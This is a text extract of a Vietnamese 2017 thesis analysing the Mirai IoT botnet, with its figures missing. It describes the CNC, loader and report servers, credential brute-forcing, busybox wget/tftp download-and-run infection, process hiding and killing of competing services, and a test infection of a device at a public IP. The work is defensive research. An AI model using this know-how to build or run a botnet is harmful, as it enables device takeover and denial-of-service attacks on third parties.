Professional Documents
Culture Documents
Giao Trinh
Giao Trinh
Hà Nội, 2017
1
BAN CƠ YẾU CHÍNH PHỦ
HỌC VIỆN KỸ THUẬT MẬT MÃ
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Hà Nội, 2017
2
MỤC LỤC
Mục lục.......................................................................................................................1
Danh mục kí hiệu và viết tắt.....................................................................................2
Danh mục hình vẽ......................................................................................................3
Danh mục bảng..........................................................................................................5
Lời nói đầu.................................................................................................................6
Chương 1. Tổng quan về internet of things.............................................................7
1.1. Lịch sử hình thành và phát triển Internet............................................................7
1.2. Giới thiệt về Internet of Things...........................................................................8
1.2.1. Xu hướng phát triển.................................................................................8
1.2.2. Ứng dụng thực tiễn..................................................................................9
1.2.3. Những mối nguy hiểm tiềm ẩn...............................................................10
Chương 2. Tổng quan về tấn công từ chối dịch vụ ddos......................................11
2.1. Tổng quan về an ninh mạng..............................................................................11
2.2. Tổng quan về tấn công từ chối dịch vụ.............................................................11
2.2.1. Giới thiệu về tấn công từ chối dịch vụ...................................................11
2.2.2. Một số kỹ thuật tấn công........................................................................13
Chương 3. Nghiên cứu về mã nguồn botnet mirai................................................18
3.1. Giới thiệu về Botnet Mirai................................................................................18
3.1.1. Thành phần cấu trúc của Botnet Mirai..................................................19
3.1.2. Cách thức điều khiển và lây lan Bots:...................................................20
3.2. Phân tích các thành phần của Botnet Mirai.......................................................21
3.2.1. Máy chủ CNC........................................................................................21
3.2.2. Máy chủ Loader.....................................................................................25
3.2.3. Máy chủ Report......................................................................................27
3.2.4. Mã độc...................................................................................................28
Chương 4. Triển khai thực nghiệm botnet mirai trên các thiết bị iot.................33
4.1. Mô tả thực nghiệm............................................................................................33
4.2. Thử nghiệm tấn công.........................................................................................33
Kết luận....................................................................................................................46
Tài liệu tham khảo...................................................................................................48
Phụ lục.......................................................................................................................49
3
DANH MỤC KÍ HIỆU VÀ VIẾT TẮT
|| Hoặc
& Và
Admin Administrator
ARPANET Advanced Research Projects Agency Network
CNC Command And Control
DDoS Distributed Denial of Service
IP Internet Protocol
IoT Internet of Things
LAN Local Area Metwork
NII National Information Infrastructure
NSF National Science Foundation
MILNET Military Network
TCP/IP Transmission Control Protocol/Internet Protocol
4
DANH MỤC HÌNH VẼ
5
Hình 4.9. Attacker telnet tới CNC.............................................................................38
Hình 4.10. Attacker đăng nhập CNC........................................................................39
Hình 4.11. Kiểm tra kết nối tới cổng 23 là Bot hay Admin (cnc/main.go)................40
Hình 4.12. Loader hiển thị Bot kết nối thành công...................................................41
Hình 4.13. Thông tin Bot scan thiết bị khác..............................................................42
Hình 4.14. Thông tin thiết bị mà Bot bruteforce thành công....................................43
Hình 4.15. Nhập lệnh tấn công.................................................................................43
Hình 4.16. Lệnh hacker dùng tấn công.....................................................................44
Hình 4.17. Thiết bị IoT là IP Camera bị chiếm quyền kiểm soát..............................45
Hình 4.18. Victim bị Attacker tấn công khiến lưu lượng tăng cao............................45
6
DANH MỤC BẢNG
7
LỜI NÓI ĐẦU
Internet of Things là cụm từ nhằm để chỉ các đối tượng có thể được nhận biết
cũng như sự tồn tại của chúng và được Kenvin Ashton đưa ra năm 1999. Cho đến
nay, mạng lưới vạn vật kết nối Internet là một kịch bản của thế giới hiện đại khi mà
mỗi đồ vật, con người được cung cấp một định danh riêng và tất cả đều có khả năng
truyền tải, trao đổi thông tin qua mạng mà không cần tương tác trực tiếp giữa người
với người hay người với máy tính. Tóm lại, IoT là một tập hợp các thiết bị có khả
năng kết nối với nhau, với Internet và với thế giới bên ngoài để thực hiện một công
việc nào đó.
Trong bối cảnh IoT bùng nổ như là một xu hướng mới trong tương lai đi kèm
với những tiện ích thì cũng tiềm ẩn những mối nguy hại và trở thành mục tiêu hàng
đầu của giới Hacker hiện đại. IoT có thể gây ảnh hưởng xấu nếu các thiết bị bảo mật
kém có thể bị nhiễm mã độc và trở thành một zombie trong mạng botnet. Khi hacker
điều khiển một lượng lớn thiết bị IoT sẽ dễ dàng tấn công DDoS đánh sập bất cứ thứ
gì trên Internet với lượng dữ liệu khổng lồ.
Cuối năm 2016, mã nguồn Mirai đã được công bố gây ra ảnh hướng lớn kèm
theo vô vàn mối lo và cũng là lời cảnh báo với các sản phẩm IoT trong tương lai. Vì
vậy đề tài được chọn khi thực hiện đề tài tốt nghiệp này là "Nghiên cứu tấn công
DDoS với botnet Mirai trên các thiết bị Internet of Things (IoT)".
Đề tài được thực hiện nhằm mục đích nghiên cứu cách thức hoạt động và mối
nguy hiểm của mã nguồn botnet Mirai trên thiết bị IoT để từ đó đưa ra các giải pháp
phòng chống.
Mục tiêu đặt ra khi thực hiện đề tài là:
1. Xây dựng hệ thống botnet.
2. Nghiên cứu cách thức hoạt động của hệ thống botnet.
3. Tìm hiểu một số kỹ thuật coding thú vị trong mã nguồn.
4. Lây nhiễm mã độc lên thiết bị thật và thực nghiệm tấn công DDoS.
5. Nghiên cứu phát triển những hạn chế của mã nguồn.
Sau thời gian khoảng bốn tháng thực hiện đề tài, các mục tiêu về cơ bản đã
đạt được. Tuy nhiên tấn công DDoS IoT là lĩnh vực khoa học phức tạp, thời gian
thực hiện đề tài tương đối ngắn nên chắc chắn không tránh khỏi thiếu sót. Rất mong
được sự góp ý của các thầy cô, cũng như các bạn học viên để đề tài này được hoàn
thiện hơn.
8
CHƯƠNG 1. TỔNG QUAN VỀ INTERNET OF THINGS
9
nhanh (cấp độ Gbps) và việc toàn cầu hoá nó đã làm lẩy cò việc xây dựng kết cấu
nền truyền thông tin.
Đến nay, các máy tính cá nhân cũng đã được hỗ trợ giao thức TCP/IP, có năng
lực xử lý cao hơn và ít đắt hơn, đã dẫn tới thực trạng là công chúng có thể dễ dàng
kết nối Internet bằng cách sử dụng máy tính cá nhân bình thường. Điều này đã khiến
cho việc sử dụng Internet trở nên rất phổ biến trong công chúng.
Ý tưởng về an toàn giao thông được thực hiện hóa bằng giải pháp mạng cảm
biến phương tiện. Mạng cảm biến phương tiện được tạo nên bằng nhiều phương tiện
có tính năng giao tiếp V2V để giúp truyền hoặc nhận thông tin để các phương tiện
khác có thể nhận biết và dự đoán các tình huống chưa hoặc đã xảy ra. Sau đó, bằng
trí tuệ nhân tạo mà phương tiện có thể tự điều khiển hoặc cảnh báo cho người dùng.
10
Các thiết bị Internet of Things được vận hành nhờ những bộ vi xử lý SOC bên
trong. Không như những bộ vi xử lý thông thường, SOC giống như một máy tính
trọn vẹn được thu gọn trong diện tích của một con chip điện tử, có kết nối không
dây và đảm bảo tiết kiệm điện. Dù nhỏ gọn, sức mạnh của các vi xử lý SOC là
không phải bàn cãi khi nó hoàn toàn có thể vận hành trơn tru những hệ điều hành
nặng nề như Windows hay Linux. SOC rất phổ biến trong bên trong các linh kiện
điện thoại.
Theo dự báo của IDC, thị trường Internet of Things được dự báo sẽ tăng gấp 3
lần, đạt 1,7 nghìn tỉ USD vào năm 2020. Không ít các doanh nghiệp lớn đã nhìn
thấy tiềm năng của Internet of Things và mạnh dạn đầu tư vào đây.Tuy nhiên, cũng
giống như bất kỳ một công nghệ mới nào, Internet of Things sẽ cần một nền tảng để
vận hành.Và các doanh nghiệp công nghệ hiểu rằng, ai tạo ra được nền tảng dẫn
đầu, họ sẽ là người chiến thắng trong xu hướng mới này.
1.2.2. Ứng dụng thực tiễn
Nhờ Internet of Things, có nhiều ý tưởng độc đáo đã trở thành hiện thực.
Không chỉ phát huy tốt hơn cho công dụng vốn có của thiết bị, Internet of Things
còn góp phần đem lại cuộc sống tốt đẹp hơn cho con người. Có thể kể đến như
Boogio - đôi giày thông minh có lắp một cảm biến cực mỏng và máy tính Artik siêu
nhỏ để lưu trữ lại dữ liệu của người dùng và kết nối với với smartphone và đồng hồ
thông minh. Thông qua đôi giày này, người dùng có thể tính toán được hôm nay
mình đã chạy bao nhiêu bước, luyện những bài tập nào, đốt cháy bao nhiêu calo, đo
chỉ số sức khỏe của bản thân và có được một cơ thể dẻo dai hơn.
Một sản phẩm khác của Internet of Things xuất phát từ ý tưởng tiết kiệm nước
có tên là Weenat. Weenat sẽ sử dụng các cảm biến về độ ẩm, kết hợp với hệ thống
các máy tính siêu nhỏ để tính toán độ ẩm và các quyết định canh tác phù hợp. Hệ
thống cảm biến hoạt động không dây, được đặt trực tiếp trên các cánh đồng và có
vòng đời rất dài, sẽ giúp những người nông dân tiết kiệm tối đa nguồn nước dùng
cho tưới tiêu.
Với việc tạo ra ngày càng nhiều những thiết bị Internet of Things thông minh,
các hãng công nghệ lớn đang góp phần giúp cuộc sống người dùng trở nên tốt đẹp
hơn. Bên cạnh đó, những nỗ lực không ngừng của họ trong việc đầu tư cho cuộc
cách mạng Internet of Things còn hứa hẹn sẽ đem đến cho con người một tương lai
tươi sáng hơn nữa.
11
1.2.3. Những mối nguy hiểm tiềm ẩn
Các thiết bị kết nối với Internet nhưng chỉ được bảo vệ bằng mật khẩu
mã hóa cứng (hard-coded password) hoặc mật khẩu yếu.
Lỗ hổng bảo mật Zero-day trong các sản phẩm thông minh hiện nay rất
nhiều, mở ra một cơ hội khác cho tin tặc, botnet và các dạng tội phạm
mạng theo đó nảy nở.
Các CVE của thiết bị IoT như router, hiện cũng được public gây ra
những lo lắng không chỉ về doanh nghiệp mà còn về uy tín của cả nhà
cung cấp dịch vụ.
Lập trình IoT trên linux nếu không hiểu rõ những thư viện tải về sử
dụng để code cũng là 1 vấn đề nguy hiểm khi lập trình IoT.
Bảo mật cho các thiết bị IoT là rất khó khăn vì những lý do về kỹ thuật,
công nghệ và thậm chí cả nền văn hóa. Đối với người dùng thông
thường, đã là rất khó để khiến họ cập nhật những bản vá mới nhất trên
máy tính xách tay, điện thoại thông minh. Ngày nay, thiết bị nào cũng
có thể có những lỗ hổng bảo mật, khi nhà sản xuất muốn nâng cấp
firmware hay cài bản vá cho những thiết bị này sẽ rất phiền phức.
Thay vì tấn công máy tính xách tay và cài mã độc thì hacker lại tận
dụng các thiết bị IoT, như camera giám sát CCTV, đầu ghi DVR,
smartTV hay các hệ thống tự động trong nhà. Không như máy tính bàn
hay xách tay, rất khó phát hiện botnet có trong thiết bị IoT.
Khi một thiết bị nhiễm mã độc sẽ trở thành bàn đạp để phát tán mã độc
đến các thiết bị khác hình thành nên một mạng botnet khổng lồ được
mở rộng nhanh chóng.
12
CHƯƠNG 2. TỔNG QUAN VỀ TẤN CÔNG TỪ CHỐI DỊCH VỤ
DDOS
13
của DoS, kẻ tấn công sẽ chiếm dụng một lượng lớn tài nguyên mạng như băng
thông, bộ nhớ… và làm mất khả năng xử lý các yêu cầu dịch vụ từ các client khác.
a) Giới thiệu về Botnet
Một “bot” là một loại phần mềm độc hại cho phép kẻ tấn công giành quyền
kiểm soát hoàn toàn máy tính bị ảnh hưởng. Máy tính đang bị nhiễn một “bot”
thường được gọi là zombie. Trên thực tế có hàng ngàn máy tính trên Internet bị
nhiễm một số loại “bot” mà thậm chí không nhận ra nó.
Máy chủ Bot kiểm soát và điều khiển một botnet được gọi là botmaster.
Bot là một chương trình client cho phép Botmaster ra lệnh và kiểm soát
máy tinh bị nhiễm.
Botnet là một mạng lưới các máy tính bị xâm nhập, lây nhiễm bởi bot.
b) Nguyên lý hoạt động Botnet
Một botnet bao gồm ít nhất là một botmaster và một hoặc nhiều bot. Khả
năng của các botnet hành động một cách phối hợp với tất cả hoặc một phần của
botnet là nền tảng cho khái niệm botnet. Botnet được quản lý bởi một bot-herder.
Khởi nguồn của Botnet được gọi là Botnet-herder. Botnet-herder là người đã
tạo ra mạng lưới các bot được sử dụng cho mục đích độc hại như tấmn công một tử
chức nào đó bằng cách sử dụng tấn công DDoS hoặc kiểm tiền bằng cách sử dụng
thư rác.
Một Bot-herder có thể sử dụng công cụ IRC, CMD kết nối tới C&C Server.
Server này sẽ như một proxy gửi lệnh điều khiển của hacker tới mạng botnet. Việc
khai thác botnet cần có kinh nghiệp lập trình giao thức ra lệnh ngay từ khi bắt đầu.
Sự gia tăng của băng thông tiêu dùng đã tăng lên rất nhiều sức mạnh của
botnet để khởi động gợn sóng tấn công DDoS lên server, lây nhiễm hàng triệu với
hàng triệu máy tính với các phần mềm gián điệp và mã độc hại khác, ăn cắp dữ liệu
nhận dạng, gửi số lượng lớn các thư rác và tham gia vào các click gian lận, hăm dọa
và tống tiền.
Botnet là mối đe dọa an ninh hàng đầu internet ngày nay. Hacker đang thu hút
bởi botnet do client (bot) thực hiện đặt hàng tại bất cứ nơi nào có kết nối. Nó rất dẽ
dàng để ăn hoa hồng dịch vụ tấn công botnet và hacker là người có thể khai thác lỗ
hổng mới một cách nhanh hơn. Botnet rất khó phát hiện bởi bị chúng rất năng động,
thích ứng nhanh để trốn tránh việc bảo vệ an ninh phổ biết hiện nay.
14
Các sản phẩm bảo mật và quản trị hệ thống thông tin phải ngăn chặn các
mạng trở thành một phần của botnet. Cả mạng doanh nghiệp lẫn mạng tư nhân cần
chống tấn công botnet lạm dụng nguồn tài nguyên cơ sở hạ tầng lớn.
2.2.2. Một số kỹ thuật tấn công
Smurf.
Buffer Overflow.
Ping of death.
Teardrop.
SYN Flood.
a) Smurf
Smurf là một loại tấn công DoS điển hình. Máy của attacker sẽ gởi rất nhiều
lệnh ping đến một số lượng lớn máy tính trong một thời gian ngắn, trong đó địa chỉ
IP nguồn của gói ICMP echo sẽ được thay thế bởi địa chỉ IP của nạn nhân, Các máy
tính này sẽ trả lại các gói ICMP reply đến máy nạn nhân.
Hình Tổng quan về tấn công từ chối dịch vụ ddos.2. Tấn công Smurf.
15
Kết quả đích tấn công sẽ phải chịu nhận một đợt Reply gói ICMP cực lớn và
làm cho mạng bị rớt hoặc bị chậm lại, không có khả năng đáp ứng các dịch vụ khác.
b) Buffer Overflow
Buffer Overflow xảy ra tại bất kỳ thời điểm nào có chương trình ghi lượng
thông tin lớn hơn dung lượng của bộ nhớ đệm trong bộ nhớ.
Kẻ tấn công có thể ghi đè lên dữ liệu và điều khiển chạy các chương trình và
đánh cắp quyền điều khiển của một số chương trình nhằm thực thi các đoạn mã
nguy hiểm.
Hình Tổng quan về tấn công từ chối dịch vụ ddos.3. Tấn công Buffer Overflow.
Quá trình gửi một bức thư điện tử mà file đính kèm dài quá 256 ký tự có thể
sẽ xảy ra quá trình tràn bộ nhớ đệm.
c) Ping of death
Kẻ tấn công gửi những gói tin IP lớn hơn số lương bytes cho phép của tin IP
là 65.536 bytes.
Quá trình chia nhỏ gói tin IP thành những phần nhỏ được thực hiện ở layer 2.
Quá trình chia nhỏ có thể thực hiện với gói IP lớn hơn 65.536 bytes. Nhưng
hệ điều hành không thể nhận biết được độ lớn của gói tin này và sẽ bị khởi động lại,
hay đơn giản là sẽ bị gián đoạn giao tiếp.
16
Để nhận biết kẻ tấn công gửi gói tin lớn hơn gói tin cho phép thì tương đối dễ
dàng.
Hình Tổng quan về tấn công từ chối dịch vụ ddos.4. Tấn công Ping of Death.
d) Teardrop
Trong mạng chuyển mạch gói, dữ liệu được chia thành nhiều gói tin nhỏ, mỗi
gói tin có một giá trị offset riêng và có thể truyền đi theo nhiều con đường khác
nhau để tới đích. Tại đích, nhờ vào giá trị offset của từng gói tin mà dữ liệu lại được
kết hợp lại như ban đầu.
Lợi dụng điều này, hacker có thể tạo ra nhiều gói tin có giá trị offset trùng lặp
nhau gửi đến mục tiêu muốn tấn công khiến không thể sắp xếp được những gói tin
này vì bị "vắt kiệt" khả năng xử lý.
17
Hình Tổng quan về tấn công từ chối dịch vụ ddos.5. Tấn công Teardrop.
e) Syn Flood
TCP là giao thức hướng kết nối connection-oriented nghĩa là nó thiết lập kênh
kết nối trước khi truyền dữ liệu đi. TCP thiết lập kết nối bằng quá trình bắt tay 3
bước:
Hình Tổng quan về tấn công từ chối dịch vụ ddos.6. Bắt tay 3 bước TCP/IP.
18
Bước 1: Đầu tiên client gửi một gói tin mang cờ SYN tới server yêu cầu kết
nối.
Bước 2: Sau khi nhận được gói tin SYN, server phản hồi lại client bằng 1 gói
tin SYN/ACK và chờ xác nhận lại từ client.
Bước 3: Client nhận được gói tin SYN/ACK thì sẽ trả lời server bằng gói tin
ACK báo với server biết rằng nó đã nhận được gói tin SYN/ACK, kết nối đã
được thiết lập và sẵn sàng trao đổi dữ liệu.
Như vậy ở bước thứ 2, sau khi server gửi gói tin SYN/ACK nó sẽ phải đợi
cho đến khi client trả lời hoặc hết thời gian timeout. Bằng việc gửi liên tiếp nhiều
gói tin SYN đến server mà không phản hồi lại bằng gói tin ACK buộc server phải
đưa các kết nối này vào trong hàng đợi và chờ đợi. Do giao thức TCP sử dụng các
khối TCB (Tranmission control block) là cấu trúc dữ liệu của giao thức vận chuyển
chứa toàn bộ thông tin của kết nối. Dung lượng tối thiểu của 1 TCB là 280bytes,
trong 1 số hệ thống hiện nay con số này còn lên tới 1,300 bytes. Với việc phải chờ
đợi các client dẫn đến không gian lưu trữ TCB dần dần cạn kiệt và không thể phục
vụ những client hợp lệ khác.
19
Hình Tổng quan về tấn công từ chối dịch vụ ddos.7. Tấn công Syn Flood.
20
CHƯƠNG 3. NGHIÊN CỨU VỀ MÃ NGUỒN BOTNET MIRAI
Hình Nghiên cứu về mã nguồn botnet mirai.8. Mirai sử dụng 5 user-agent khác
nhau (mirai/bot/table.h).
Ngoài ra, Mirai có khả năng phát hiện và vượt qua một số cơ chế kiểm tra bot
cơ bản của các dịch vụ giúp ngăn ngừa tấn công từ chối dịch vụ như cloudflare hoặc
dosarrest.
21
Ngoài những tấn công thông dụng ra, Mirai sử dụng 2 kỹ thuật ít gặp gần đây
là tấn công “DNS Water Torture” và “GRE IP Flood”.
Hình Nghiên cứu về mã nguồn botnet mirai.9. Mirai sử dụng 10 kỹ thuật tấn công
từ chối dịch vụ (mirai/bot/attack.h).
22
Hình Nghiên cứu về mã nguồn botnet mirai.10. Mô hình hoạt động logic của các
thành phần.
Cấu trúc mã nguồn chính gồm 2 thư mục chính Loader và Mirai, trong đó
Loader chứa các mã nguồn phục vụ cho việc tạo Report server, thư mục Mirai chứa
mã nguồn tạo các con Bot và tạo CNC server.
Hình Nghiên cứu về mã nguồn botnet mirai.11. Cấu trúc thư mục mã nguồn.
23
Bước 2: Thực hiện đăng nhập bằng Account được cấp bởi Admin
(Attacker).
Bước 3: Sử dụng lệnh attack.
Lây lan mã độc:
Bước 1: Các con Bot trong mạng Botnet sẽ thực thiện rà quét các thiết
bị IoT mới và thực hiện brute force vào các thiết bị nếu không telnet
trực tiếp được.
Bước 2: Sau khi brute force thành công thiết bị IoT, Bot gửi các thông
tin gồm IP, Port, Username, Password về Report server.
Bước 3: Lấy thông tin từ Report server cấp cho Loader server để thực
hiện đăng nhập tới thiết bị IoT và load mã độc lây nhiễm thiết bị.
Bước 4: Thiết bị IoT bị lây nhiễm sẽ thực hiện một số chức năng chính
được cài đặt trước như scan, bruteforce và thực hiện kết nối tới CNC
server.
24
Hình Nghiên cứu về mã nguồn botnet mirai.12. CNC lắng nghe kết nối
(mirai/cnc/main.go).
Khi nghe ở cổng 23 chương trình sẽ làm nhiệm vụ khác nhau tùy vào dữ liệu
nhận được. Nếu các dữ liệu nhận được có 4 bytes, mà là “00 00 00 x” (byte x> 0),
chương trình xác định rằng dữ liệu này là từ một Bot mới. Ngược lại chương trình
hiểu là có kết nối từ Attacker qua telnet, Attacker thực hiện đăng nhập nếu là có
quyền quản trị thì họ có thể tạo các username khác với số lượng Bot cụ thể được
phép sử dụng.
25
Hình Nghiên cứu về mã nguồn botnet mirai.13. CNC nhận được thông tin là bot
hoặc admin (mirai/cnc/main.go).
Dòng 47 : Nhập Password. Nếu không nhập sau một khoảng thời gian đã được thiết
lập sẽ dừng chương trình.
26
Dòng 62 : Kiểm tra username/password trong Database. Ở bước này, hàm TryLogin
sẽ sử dụng account để đăng nhập vào Database sau đó kiểm tra username/password
có tồn tại hay không? Nếu không tồn tại sẽ hiện thông báo và thoát.
Hình Nghiên cứu về mã nguồn botnet mirai.16. Kiểm tra account trong Database.
In ra các dòng thông báo sau khi đăng nhập thành công.
Hình Nghiên cứu về mã nguồn botnet mirai.17. Thông báo đăng nhập thành công.
Hàm func() sẽ kiểm tra liên tục số lượng Bot connect tới CNC theo Real Time. Với
hàm này hacker sẽ biết được số thiết bị có thể sử dụng tấn công trong thời điểm hiện
tại.
27
Hình Nghiên cứu về mã nguồn botnet mirai.18. Kiểm tra số lượng Bot connect tới
CNC.
Đoạn mã nhằm thiết lập số lượng Bot mà tài khoản có thể được sử dụng. Thử
tưởng tượng với một mạng botnet khổng lồ có thể đánh sập bất cứ thứ gì trên
Internet thì hacker hoàn toàn có thể cho thuê để kiếm lợi nhuận. Như vậy, Hacker sẽ
tạo một tài khoản và kèm với số lượng Bot mà tài khoản đó được sử dụng.
Dòng 122 và 123: Add thêm user/password vào database.
Dòng 133: Nếu nhập -1 thì username có thể sử dụng tất cả số Bot đang active.
Dòng 139: Kiểm tra số lượng Bot nhập vào hợp lệ?
Dòng 144: Kiểm tra thời gian tấn công có hợp lệ? (đơn vị giây)
Hình Nghiên cứu về mã nguồn botnet mirai.19. Thêm và cấu hình cho tài khoản
mới.
28
Hàm attackInfoLookup sẽ trả về các tham số phục vụ cho từng loại tấn công,
Cấu trúc nhập lệnh tấn công: <tên phương thức> <IP> <time (s)> [flag].
Hình Nghiên cứu về mã nguồn botnet mirai.21. Thiết lập network card cho report
server (loader/main.c).
29
Tiếp theo, tạo các kết nối sẵn sàng cho việc lây lan mã độc bằng việc gọi hàm
server_create (). Nó thực hiện truyền các tham số như ip server lưu trữ malware có
giao thức wget hay tftp. Loader khi điều khiển thiết bị sẽ sử dụng một trong 2 giao
thức này để tải malware từ TFTP server hoặc Wget server về và tiến hành thực thi
malware.
Hình Nghiên cứu về mã nguồn botnet mirai.22. Khởi tạo server chứa mã độc
(loader/main.c).
Loader server sẽ đọc các dữ liệu đầu vào qua chuẩn STDIN từ bàn phím theo
định dạng “IP:Port Username:Password” sử dụng vòng lặp while(TRUE) để liên tục
kiểm tra đầu vào từ người dùng. Tuy nhiên, việc nhập thủ công bằng tay thông tin
cho Loader sẽ dẫn đến khoảng thời gian phát hiện thiết bị và khoảng thời gian lây
nhiễm mã độc bị delay time gây ra khả năng mất thiết bị IoT. Việc này đã được khắc
phục nhờ viết thêm đoạn mã auto chuyển thông tin từ Report server sang Loader
server.
Hình Nghiên cứu về mã nguồn botnet mirai.23. Nhận ip, port, user, pass từ STDIN
(loader/main.c).
30
Hàm worker() này thực hiện các bước đang nhập và lây lan bot bằng cách
truyền các câu lệnh qua tiện ích busybox có sẵn trên các thiết bị IoT. Busybox là
tiện ích để giao tiếp giữa người quản trị và thiết bị IoT qua dòng lệnh CMD (cụ thể
ở đây là bashshell).
Hình Nghiên cứu về mã nguồn botnet mirai.24. Sử dụng busybox login và lây mã
độc (loader/server.c).
31
Hình Nghiên cứu về mã nguồn botnet mirai.25. Lắng nghe kết nối trên cổng 48101
(scanListen.go).
Thông tin thiết bị được hiển thị. Sau đó, có thể sử dụng thông tin này cung
cấp cho Loader server để tiến hành lây nhiễm mã độc lên thiết bị.
Hình Nghiên cứu về mã nguồn botnet mirai.26. Hiển thị thông tin thiết bị bruteforce
được (scanListen.go).
3.2.4. Mã độc
a) Chức năng
Thư mục bot: chứa mã nguồn bot, thực hiện các chức năng cơ bản mặc định
của bot khi mới lây nhiễm:
Ẩn tệp tin mã độc.
Ngăn thiết bị khởi động lại.
Kill các process đang chiếm cổng 22(ssh)| 23(telnet)| 80(http).
Tạo kết nối mới tới CNC.
Ẩn tiến trình hoạt động.
32
Bruteforce thiết bị IoT rồi gửi về cho Report server.
Lắng nghe điều khiển của CNC server để chờ yêu cầu tấn công Victim.
b) Nguyên lý hoạt động
Bot sẽ thực hiện che dấu tiến trình của mình bằng cách thay đổi tên ngẫu
nhiên. Thuật toán ngẫu nhiên được sử dụng bằng cách dịch bit và xor.
Hình Nghiên cứu về mã nguồn botnet mirai.27. Che dấu tiến trình
(mirai/bot/main.c).
Khởi tạo các tham số cho kiểu tấn công và cung cấp các loại tấn công khác
nhau (UDP, VSE, DNS, SYN và nhiều kiểu tấn công DDoS khác) để lựa chọn.
Hình Nghiên cứu về mã nguồn botnet mirai.28. Các phương thức tấn công
(mirai/bot/attack.c).
Kill tất cả các tiến trình đang mở cổng 22, 23. Việc này sẽ đảm bảo hacker
khác hoặc quản trị viên không thể kết nối tới thiết bị thông qua dịch vụ này.
33
Hình Nghiên cứu về mã nguồn botnet mirai.29. Kill các cổng dịch vụ
(mirai/bot/killer.c).
Các thiết bị giám sát như Camera thường liên kết với watchdog. Khi có dấu
hiệu treo, không thể sử dụng chức năng thì tiện ích watchdog sẽ reset thiết bị. Như
vậy, mã độc cần ngăn chặn sự việc để tránh ảnh hưởng tới quá trình hoạt động .
Hình Nghiên cứu về mã nguồn botnet mirai.30. Ngăn cản thiết bị reboot lại
(mirai/bot/main.c).
Khởi tạo thông số cho việc rà quét các thiết bị với IP và username, password
mặc định.
34
Hình Nghiên cứu về mã nguồn botnet mirai.31. Tài khoản dùng để bruteforce IoT
mới (mirai/bot/scanner.c).
Dải địa chỉ được thiết lập để mã độc scan địa chỉ IP ngẫu nhiên trong các dải.
Nhờ vậy, mã độc sẽ tránh bị phát hiện và cho vào spam list cũng như firewall.
Hình Nghiên cứu về mã nguồn botnet mirai.32. Địa chỉ bruteforce thiết bị IoT mới
(mirai/bot/scanner.c).
Sau khi rà quét được các thiết bị IoT mới đã brute force các bot sẽ gửi thông
tin về cho Report server, report server sẽ chạy tool scanlisten để lắng nghe hồi đáp
từ bot.
35
Hình Nghiên cứu về mã nguồn botnet mirai.33. Bot gửi thông tin các IoT mới đã
bruteforce (mirai/bot/scanner.c).
Kết nối CNC qua tên miền và port được chỉ định sẵn, ở đây các tên miền và
port đều được mã hóa bởi công cụ “enc”. Công cụ này được biên dịch từ mã nguồn
“enc.c” trong thư mục “tools”.
Hình Nghiên cứu về mã nguồn botnet mirai.34. Khai báo domain và port các server
(mirai/bot/table.c).
36
CHƯƠNG 4. TRIỂN KHAI THỰC NGHIỆM BOTNET MIRAI
TRÊN CÁC THIẾT BỊ IOT
Khởi chạy:
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.35. Khởi chạy CNC
Server.
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.36. Cài đặt thông tin
của Database (cnc\main.c).
38
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.37. CNC đăng nhập
Database (cnc\database.go).
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.38. Khởi chạy
scanListen.
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.39. Mở port 48101
chờ kết quả từ Bot.
39
1. Loader điều khiển thiết bị và lây nhiễm Malware.
2. Hiển thị tổng số lượng về Process xử lý, Connect tới Loader, thiết bị
IoT đăng nhập thành công, Wgets và TFTP.
Tiến hành nhập thông tin thiết bị IoT gồm: IP:Port Username:Password từ
Scanlisten vào loader.
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.40. Nhập Bot cho
Loader.
Loader telnet thiết bị IoT -> Loader thực hiện lây lan Malware.
Phân tích:
IP Loader: 203.162.130.69
IP Bot: 61.222.7.176
40
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.41. Loader kết nối
thiết bị IoT lây nhiễm Malware.
Loader gửi lệnh tới thiết bị IoT nhằm dùng tiện ích Busybox để download và
thực thi Malware.
41
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.42. Loader thực hiện
lây lan Malware.
42
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.43. Attacker telnet tới
CNC.
Attacker kết nối tới CNC và đã thấy có 1 Bot kết nối đến CNC.
Phân tích bằng wireshark:
43
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.44. Attacker đăng
nhập CNC.
IP Attacker: 14.177.140.96
IP CNC: 203.162.130.69
Attacker telnet và đăng nhập CNC.
Attacker sử dụng user/pass là hacker/hacker và đã đăng nhập công.
Sau khi follow tcp ta thấy string tương ứng với tài khoản đăng nhập là
hacker/hacker và thông tin về số lượng Bot connect tới CNC.
44
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.45. Kiểm tra kết nối
tới cổng 23 là Bot hay Admin (cnc/main.go).
Dòng 66: Nếu nhận được 4 bytes \x00\x00\x00\x01 => Bot connect CNC.
Ngược lại, Admin connect CNC.
Bước 5. Kiểm tra trạng thái Loader Server, Bot, Report Server
Kiểm tra trạng thái của Loader Server, Bot, Report Server sau khi lây nhiễm
Malware.
1. Loader Server:
45
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.46. Loader hiển thị
Bot kết nối thành công.
Như vậy Bot có IP 61.222.7.176, port 23, tài khoản admin/1111, kiến trúc
arm7.
Và đặc biệt Bot có tiện ích Busybox và có thể sử dụng lệnh Wget. Wget như
đã nói từ trước giúp thiết bị tải Malware từ Wget Server.
2. Bot:
46
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.47. Thông tin Bot
scan thiết bị khác.
Ngay sau khi lây nhiễm Malware vào thiết bị thì Bot sẽ:
Tự kill các tiến trình đang mở port 23 trên Bot nhằm không cho bất kỳ
ai có thể truy cập vào thiết bị qua port 23.
Phân giải tên miền CNC
Kết nối tới CNC
Tự động bruteforce thiết bị khác và đồng thời giữ kết nối với CNC.
Gửi kết quả cho Report Server
3. Report Server:
47
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.48. Thông tin thiết bị
mà Bot bruteforce thành công.
48
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.49. Nhập lệnh tấn
công.
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.50. Lệnh hacker dùng
tấn công.
IP Attacker: 14.177.140.96
